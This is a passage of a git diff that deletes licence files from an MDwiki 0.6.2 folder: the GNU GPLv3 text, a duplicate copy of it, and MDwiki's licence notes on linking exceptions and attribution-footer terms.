as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/IntroClassFiles/mdwiki-0.6.2/GPLv3_1.txt b/IntroClassFiles/mdwiki-0.6.2/GPLv3_1.txt deleted file mode 100755 index 94a9ed02..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/GPLv3_1.txt +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/IntroClassFiles/mdwiki-0.6.2/LICENSE.txt b/IntroClassFiles/mdwiki-0.6.2/LICENSE.txt deleted file mode 100755 index fe4f79ce..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/LICENSE.txt +++ /dev/null @@ -1,48 +0,0 @@ -MDwiki is licensed under the terms of the GNU GPLv3 with additional terms and -linking exceptions. The GPLv3 license text can be found in the GPLv3.txt file, the -additional terms are given below this paragraph. - -Linking exceptions ------------------- - -In addition to the terms in the GPLv3 the following linking exceptions apply: - -The authors of this work grant the rights to dynamically link against the below -listed external sources or binaries during runtime, as an exception to the terms of -the GNU GPLv3, under the terms that none of that linked code shall be deemed part of -this work, or a derivative work of this work, and as such are not required to meet -the license terms of the GPLv3 and as such are not covered by the terms of the GPLv3 -when conveying this work. - -The full and exhaustive list of those sources excepted from the GPLv3 are: - -* The Google Maps API v3 located at: http://maps.google.com/maps/api/js -* The twitter "follow button" widget located at http://platform.twitter.com/widgets.js -* The GitHub Gist API located at http://gist.github.com/{id}.js. This applies only to - the javascript coded issues by GitHub Inc. and explicitly does not apply to the - content of any GitHub gist. -* The disqus API located at http://.disqus.com/embed.js where is the - userid of the forum. - - -Additional terms to GPLv3 -------------------------- - -In compliance with section 7 of the GNU GPLv3 the following additional terms apply: - -a) The contained and displayed copyright attribution footer notice may not be removed, - modified, altered or styled, or being removed, modified, altered or styled by - external software (scripts, stylesheets, filters) in a way that would considerably - affect visibility or readability of the notice to the user or any third party that - uses the software locally or over the network; this especially includes resizing, - overlaying, hiding or similar techniques. - -b) You may adjust or style the copyright footer to suit the appearance or layout of - your website, as long as this does not violate the terms given in section (a) - -c) Attribution hyperlinks in the footer have to be kept unaltered. - -d) You may add your name to the list of copyright holder(s) in the footer if you make - changes to the work, keeping intact all other copyright holder names - -e) Changes to these terms require written permission by the copyright holder(s). diff --git a/IntroClassFiles/mdwiki-0.6.2/LICENSE_1.txt b/IntroClassFiles/mdwiki-0.6.2/LICENSE_1.txt deleted file mode 100755 index fe4f79ce..00000000 --- a/IntroClassFiles/mdwiki-0.6.2/LICENSE_1.txt +++ /dev/null @@ -1,48 +0,0 @@ -MDwiki is licensed under the terms of the GNU GPLv3 with additional terms and -linking exceptions. The GPLv3 license text can be found in the GPLv3.txt file, the -additional terms are given below this paragraph. - -Linking exceptions ------------------- - -In addition to the terms in the GPLv3 the following linking exceptions apply: - -The authors of this work grant the rights to dynamically link against the below -listed external sources or binaries during runtime, as an exception to the terms of -the GNU GPLv3, under the terms that none of that linked code shall be deemed part of -this work, or a derivative work of this work, and as such are not required to meet -the license terms of the GPLv3 and as such are not covered by the terms of the GPLv3 -when conveying this work. - -The full and exhaustive list of those sources excepted from the GPLv3 are: - -* The Google Maps API v3 located at: http://maps.google.com/maps/api/js -* The twitter "follow button" widget located at http://platform.twitter.com/widgets.js -* The GitHub Gist API located at http://gist.github.com/{id}.js. This applies only to - the javascript coded issues by GitHub Inc. and explicitly does not apply to the - content of any GitHub gist. -* The disqus API located at http://.disqus.com/embed.js where is the - userid of the forum. - - -Additional terms to GPLv3 -------------------------- - -In compliance with section 7 of the GNU GPLv3 the following additional terms apply: - -a) The contained and displayed copyright attribution footer notice may not be removed, - modified, altered or styled, or being removed, modified, altered or styled by - external software (scripts, stylesheets, filters) in a way that would considerably - affect visibility or readability of the notice to the user or any third party that - uses the software locally or over the network; this especially includes resizing, - overlaying, hiding or similar techniques. - -b) You may adjust or style the copyright footer to suit the 